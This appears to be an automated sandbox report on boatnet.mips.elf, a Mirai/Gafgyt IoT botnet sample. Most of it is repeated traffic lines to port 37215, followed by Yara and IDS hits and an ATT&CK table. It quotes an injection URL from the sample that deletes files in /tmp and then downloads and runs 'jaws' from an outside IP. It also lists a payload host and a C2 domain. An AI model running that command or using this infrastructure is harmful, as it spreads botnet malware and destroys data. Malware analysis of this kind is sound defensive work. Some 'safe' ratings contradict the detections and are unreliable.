Source: unknown	Network traffic detected: HTTP traffic on port 58062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58266 -> 37215

Source: boatnet.mips.elf

Submission file: segment LOAD with 7.9233 entropy (max. 8.0)

Source: /tmp/boatnet.mips.elf (PID: 5432)

Queries kernel information via 'uname':

Jump to behavior

Source: boatnet.mips.elf, 5432.1.00007ffcd743f000.00007ffcd7460000.rw-.sdmp, boatnet.mips.elf, 5436.1.00007ffcd743f000.00007ffcd7460000.rw-.sdmp	Binary or memory string: 1x86_64/usr/bin/qemu-mips/tmp/boatnet.mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/boatnet.mips.elf
Source: boatnet.mips.elf, 5432.1.0000562848c14000.0000562848c9b000.rw-.sdmp, boatnet.mips.elf, 5436.1.0000562848c14000.0000562848c9b000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: boatnet.mips.elf, 5432.1.00007ffcd743f000.00007ffcd7460000.rw-.sdmp, boatnet.mips.elf, 5436.1.00007ffcd743f000.00007ffcd7460000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: boatnet.mips.elf, 5432.1.0000562848c14000.0000562848c9b000.rw-.sdmp, boatnet.mips.elf, 5436.1.0000562848c14000.0000562848c9b000.rw-.sdmp	Binary or memory string: H(V!/etc/qemu-binfmt/mips

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: 5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: 5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: boatnet.mips.elf PID: 5432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: boatnet.mips.elf PID: 5436, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Gafgyt

Source: Yara match	File source: 5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: 5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: boatnet.mips.elf PID: 5432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: boatnet.mips.elf PID: 5436, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	11 Obfuscated Files or Information	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
boatnet.mips.elf	43%	ReversingLabs	Linux.Trojan.Mirai

Source	Detection	Scanner	Label	Link
http://45.95.169.129/bin	0%	Avira URL Cloud	safe
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+45.95.169.129/jaws;sh+/tmp/jaws	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bot.nulling.io	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+45.95.169.129/jaws;sh+/tmp/jaws	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://45.95.169.129/bin	boatnet.mips.elf, 5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, boatnet.mips.elf, 5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	boatnet.mips.elf	false		high
http://schemas.xmlsoap.org/soap/encoding/	boatnet.mips.elf, 5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, boatnet.mips.elf, 5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	boatnet.mips.elf, 5432.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp, boatnet.mips.elf, 5436.1.00007f4d5c400000.00007f4d5c419000.r-x.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
25.169.94.109	unknown	United Kingdom	7922	COMCAST-7922US	false
197.240.131.145	unknown	unknown	37705	TOPNETTN	false
202.78.227.83	unknown	Viet Nam	24085	QTSC-AS-VNQuangTrungSoftwareCityDevelopmentCompanyVN	false
